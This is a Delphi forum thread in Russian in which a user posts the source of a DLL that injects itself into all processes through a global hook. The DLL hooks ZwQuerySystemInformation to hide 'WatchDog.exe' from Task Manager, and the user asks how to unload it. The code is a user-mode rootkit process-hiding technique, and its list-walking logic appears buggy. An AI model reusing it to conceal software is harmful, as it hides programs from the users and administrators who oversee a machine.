Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 27.03.2013, 17:33   #1
Azizas
 
Регистрация: 23.12.2011
Сообщений: 4
Вопрос Длл и глобальный хук

Есть длл,которая защищает программу родительского контроля от завершения через Диспетчер задач .При загрузке ,он ставит глобальный хук на обработку сообщений и загружается в АП процессов.Когда администратор завершает приложение ,то оно должно выгрузить эту систему защиты с АП остальных процессов .
Код:
library tmprotect;

 uses
  Windows,
  ExtendedAPIFunctions,
  apihooktools;

const
    MutexName='__Protect_WD'; 

 var 
    SH:HHOOK; 
    HiddenProcess:string = 'WatchDog.exe'; 

    SystemFunctionBridge:TFunctionRestoreData; 

 function NewSystemFunction(ASystemInformationClass: DWORD; ASystemInformation: Pointer; 
     ASystemInformationLength: DWORD; AReturnLength:PCardinal): NTStatus; stdcall; 
 var 
    info,back_Proc:PSYSTEM_PROCESSES; 
 begin
    UnHookCodeHook(@SystemFunctionBridge); 
    Result:=ZwQuerySystemInformation(ASystemInformationClass,ASystemInformation,ASystemInformationLength,AReturnLength); 
    SetCodeHook(SystemFunctionBridge.Address,@NewSystemFunction,@SystemFunctionBridge); 
    if ASystemInformationClass<>SystemProcessesAndThreadsInformation then exit; 
    if Result<>STATUS_SUCCESS then exit; 
    info:= ASystemInformation; 
    repeat 
      if info^.ProcessName.Buffer = HiddenProcess then 
       begin 
        back_Proc^.NextEntryDelta:=back_Proc^.NextEntryDelta+info^.NextEntryDelta; 
       end; 
      back_Proc:=info; 
      Info := pointer(dword(info) + info^.NextEntryDelta); 
    until Info^.NextEntryDelta = 0; 
 end; 

 function MsgProc(code:DWORD;wParam,lparam:DWORD):DWORD;stdcall; 
 begin 
    CallNextHookEx(SH,code,wParam,lparam); 
 end; 
 procedure SetWindowsHook(e:Boolean); stdcall; 
 var 
    M:THandle; 
 begin 
    if e then 
     begin 
      m:=CreateMutex(0,false,MutexName); 
      if m=0 then exit; 
      SH:=SetWindowsHookEx(WH_GETMESSAGE,@MsgProc,HInstance,0); 
     end 
         else 
      UnhookWindowsHookEx(sh); 
 end; 

 procedure DLLEntryPoint(dwReason:DWord); 
 begin 
    case dwReason of 
      DLL_PROCESS_ATTACH: 
       begin 
       // StopProcess(GetCurrentProcessId); 
        SetWindowsHook(true); 
        SetProcedureHook(GetModuleHandle('ntdll.dll'),'ZwQuerySystemInformation',@NewSystemFunction,@SystemFunctionBridge); 
       // ResumeProcess(GetCurrentProcessId); 
       end; 
      DLL_PROCESS_DETACH: 
       begin 
       // StopProcess(GetCurrentProcessId); 
        SetWindowsHook(false); 
        UnHookCodeHook(@SystemFunctionBridge); 
        //ResumeProcess(GetCurrentProcessId); 
       end; 
     end; 
 end; 

 begin 
     DllProc:= @DLLEntryPoint; 
     DLLEntryPoint(DLL_PROCESS_ATTACH); 
 end.
Каким образом её ,эту библиотеку ,можно выгрузить?
Azizas вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Глобальный хук AlienNation C# (си шарп) 2 29.07.2012 19:00
Слетает глобальный хук. evgeny_sh Win Api 0 02.07.2012 21:20
Глобальный хук Умед Общие вопросы Delphi 1 02.08.2010 11:04
Глобальный хук на клаву rem37 Win Api 7 03.05.2009 01:25
Глобальный хук на мышь не глобальный О_о JTG Общие вопросы Delphi 3 05.06.2008 17:41